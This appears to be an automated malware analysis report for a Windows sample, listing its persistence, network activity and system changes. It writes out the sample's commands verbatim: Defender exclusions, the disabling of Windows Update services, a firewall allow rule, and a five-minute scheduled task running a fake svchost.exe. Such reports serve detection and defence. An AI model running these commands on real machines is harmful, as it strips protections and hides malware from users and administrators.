Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\termsrv\usb
Malicious functions
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="runtime broker" dir=in action=allow program="<SYSTEM32>\Recovery\runtime broker.exe" enable=yes
Network activity
Connects to
- 'ch####31.tumblr.com':443
- 'microsoft.com':80
TCP
Other
- 'ch####31.tumblr.com':443
UDP
- DNS ASK ch####31.tumblr.com
- DNS ASK microsoft.com
Miscellaneous
Searches for the following windows
- ClassName: 'AutoHotkey' WindowName: '<Full path to file>'
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %LOCALAPPDATA%\Temp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /DELETE /F /TN "windows\svchost"' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<SYSTEM32>"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="runtime broker" dir=in action=allow program="<SYSTEM32>\Recovery\runtime broker.exe" enable=yes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config "uhssvc" start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config "wuauserv" start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config "UsoSvc" start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c REG ADD HKLM\SYSTEM\CurrentControlSet\Services\WaasMedicSvc /v Start /f /t REG_DWORD /d 4' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop "uhssvc"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop "wuauserv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop "WaasMedicSvc"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop "UsoSvc"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /CREATE /F /SC MINUTE /mo 5 /RL HIGHEST /TN "Microsoft\Windows\termsrv\USB" /TR "<SYSTEM32>\Recovery\svchost.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %LOCALAPPDATA%\Temp
- '<SYSTEM32>\sc.exe' stop "uhssvc"
- '<SYSTEM32>\sc.exe' stop "UsoSvc"
- '<SYSTEM32>\sc.exe' stop "WaasMedicSvc"
- '<SYSTEM32>\sc.exe' stop "wuauserv"
- '<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\WaasMedicSvc /v Start /f /t REG_DWORD /d 4
- '<SYSTEM32>\sc.exe' config "UsoSvc" start=disabled
- '<SYSTEM32>\sc.exe' config "wuauserv" start=disabled
- '<SYSTEM32>\sc.exe' config "uhssvc" start=disabled
- '<SYSTEM32>\schtasks.exe' /DELETE /F /TN "windows\svchost"
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /CREATE /F /SC MINUTE /mo 5 /RL HIGHEST /TN "Microsoft\Windows\termsrv\USB" /TR "<SYSTEM32>\Recovery\svchost.exe"
- '<SYSTEM32>\cmd.exe' /c sc stop "UsoSvc"
- '<SYSTEM32>\cmd.exe' /c sc stop "wuauserv"
- '<SYSTEM32>\cmd.exe' /c sc stop "uhssvc"
- '<SYSTEM32>\cmd.exe' /c REG ADD HKLM\SYSTEM\CurrentControlSet\Services\WaasMedicSvc /v Start /f /t REG_DWORD /d 4
- '<SYSTEM32>\cmd.exe' /c sc config "UsoSvc" start=disabled
- '<SYSTEM32>\cmd.exe' /c sc config "wuauserv" start=disabled
- '<SYSTEM32>\cmd.exe' /c sc config "uhssvc" start=disabled
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="runtime broker" dir=in action=allow program="<SYSTEM32>\Recovery\runtime broker.exe" enable=yes
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<SYSTEM32>"
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /DELETE /F /TN "windows\svchost"
- '<SYSTEM32>\cmd.exe' /c sc stop "WaasMedicSvc"
- '<SYSTEM32>\schtasks.exe' /CREATE /F /SC MINUTE /mo 5 /RL HIGHEST /TN "Microsoft\Windows\termsrv\USB" /TR "<SYSTEM32>\Recovery\svchost.exe"
